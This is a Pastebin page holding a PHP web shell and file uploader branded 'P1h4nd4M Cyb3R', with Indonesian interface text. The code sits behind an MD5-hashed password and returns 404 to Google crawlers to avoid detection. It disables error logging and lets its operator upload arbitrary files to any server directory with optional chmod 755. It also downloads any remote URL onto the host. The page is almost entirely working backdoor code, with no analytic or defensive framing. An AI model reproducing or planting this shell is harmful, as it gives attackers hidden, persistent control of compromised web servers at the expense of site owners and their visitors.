Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $auth_pass = "4d4098d64e163d2726959455d046fd7c";
- $color = "#00ff00";
- $default_action = 'FilesMan';
- @define('SELF_PATH', __FILE__);
- if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- @session_start();
- @error_reporting(0);
- @ini_set('error_log', NULL);
- @ini_set('log_errors', 0);
- @ini_set('max_execution_time', 0);
- @ini_set('display_errors', 0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @define('VERSION', '2.1');
- if (get_magic_quotes_gpc()) {
- function stripslashes_array($array) {
- return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
- }
- $_POST = stripslashes_array($_POST);
- }
- function printLogin() {
- ?>
- <!DOCTYPE html>
- <html dir="ltr">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Uploader Pihandam Cyber</title>
- <br>
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <title>Silahkan Login</title>
- <link rel="icon" href="../favicon.ico">
- <meta name="description" content="Remote Cpanel Account" />
- <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Audiowide">
- <style>
- body {
- background:#000;
- padding:0;
- margin:0;
- font-family: 'Audiowide', serif;
- }
- .img {
- margin:10px;
- }
- .input-text {
- border:1px solid lime;
- background:#000;
- color:#fff;
- }
- .input-button {
- background:#3f3f3f;
- color:#fff;
- border:1px solid#3f3f3f;
- }
- .border-1 {
- margin:0;
- padding:0;
- border:2px solid#3f3f3f;
- }
- .border-2 {
- margin:0;
- padding:0;
- border:3px dotted#3f3f3f;
- }
- .border-3 {
- margin:0;
- padding:0;
- border:2px solid#3f3f3f;
- }
- </style>
- </head>
- <body>
- <div class="border-1">
- <div class="border-2">
- <div class="border-3">
- <form method=post>
- <center><input size="20" type="password" name="pass" class="input-text">
- <input type="submit" class="input-button" value="Login">
- </center></form>
- <br/>
- <br/>
- </div>
- </div>
- </div>
- </body>
- </html>
- <?php
- exit;
- }
- if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
- else printLogin();
- ?>
- <?php
- echo '<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.2//EN" "http://www.openmobilealliance.org/tech/DTD/xhtml-mobile12.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" lang="en">
- <head>
- <title>Upload Files | ./P1h4nd4M Cyb3R™</title>
- <meta http-equiv="Content-Type" content="application/vnd.wap.xhtml+xml; charset=utf-8" />
- <meta name="viewport" content="width=device-width,initial-scale=1">
- <center><b><font color="lime">Selamat Datang ./Erorcode403</font></b></center>
- </head>
- <style>body {
- background-color: black;
- color: #303030;
- } input, button {
- color : #00ff00;
- background-color : black;
- border : 1px solid #303030;
- } form {
- margin: 0;
- padding: 0;
- } </style>';
- if(isset($_POST['upload'])){
- $dir = $_POST['dir'];
- $ch = $_POST['chmod'];
- foreach($_FILES['file']['name'] as $key=>$val) {
- $name=$_FILES['file']['name'][$key];
- $tmp=$_FILES['file']['tmp_name'][$key];
- if(trim($name)!='') {
- if(move_uploaded_file($tmp,$dir.'/'.$name)) {
- if($ch == 'yes') {
- $chmod = chmod($dir.'/'.$name,0755);
- echo '<br/><font color="white">Upload => '.$name.'</font><font color="lime">Berhasil !</font>
- <br/>
- <font color="white">Chmod 755 =></font><font color="lime">Berhasil !</font></div>';
- } else {
- echo '<br/><font color="white">Upload => '.$name.'</font><font color="lime">Berhasil !</font></div>';
- }
- } else {
- echo '<br/><font color="white">Upload => '.$name.'</font><font color="red">Gagal</font></div>';
- }
- }
- }
- }
- $time=time();
- $gmt='+7';
- $jm='3600';
- $var=$time+($gmt*$jm);
- $now=gmdate('Y',$var);
- ?>
- <form method="post"enctype="multipart/form-data"action="">
- <table>
- <tr>
- <td>File :</td>
- </tr><tr>
- <td><input type="file"name="file[]"/><td/>
- </tr><tr>
- <td><input type="file"name="file[]"/><td/>
- </tr><tr>
- <td><input type="file"name="file[]"/><td/>
- </tr><tr>
- <td><font color="white">Auto Chmod 755</font><select style="color:lime;background-color:#000000"
- name="chmod"><option value="no">No</option><option value="yes">Yes</option></select></td>
- </tr><tr>
- <td><font color="white">Upload To :</font></td>
- </tr><tr>
- <td><input name="dir" type="text" value="<?php echo dirname(__FILE__); ?>"></td>
- </tr><tr>
- <td><input type="submit"name="upload"value="Upload"/></td>
- </tr>
- </table>
- </form>
- <br/><center><form method="post">
- <input name="url" size="30" />
- <input name="submit" type="submit" />
- </form></center>
- </div>
- <center><font color="white">Powered by P1h4nd4M Cyb3R™<br/>
- <?php echo ''.$_SERVER['HTTP_HOST'].' - © '.$now.''; ?></font><br/>
- </center>
- <?php
- // maximum execution time in seconds
- set_time_limit (24 * 60 * 60);
- if (!isset($_POST['submit'])) die();
- // folder to save downloaded files to. must end with slash
- $destination_folder = 'files/';
- $url = $_POST['url'];
- $newfname = $destination_folder . basename($url);
- $file = fopen ($url, "rb");
- if ($file) {
- $newf = fopen ($newfname, "wb");
- if ($newf)
- while(!feof($file)) {
- fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
- }
- }
- if ($file) {
- fclose($file);
- }
- if ($newf) {
- fclose($newf);
- }
- ?>
- </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement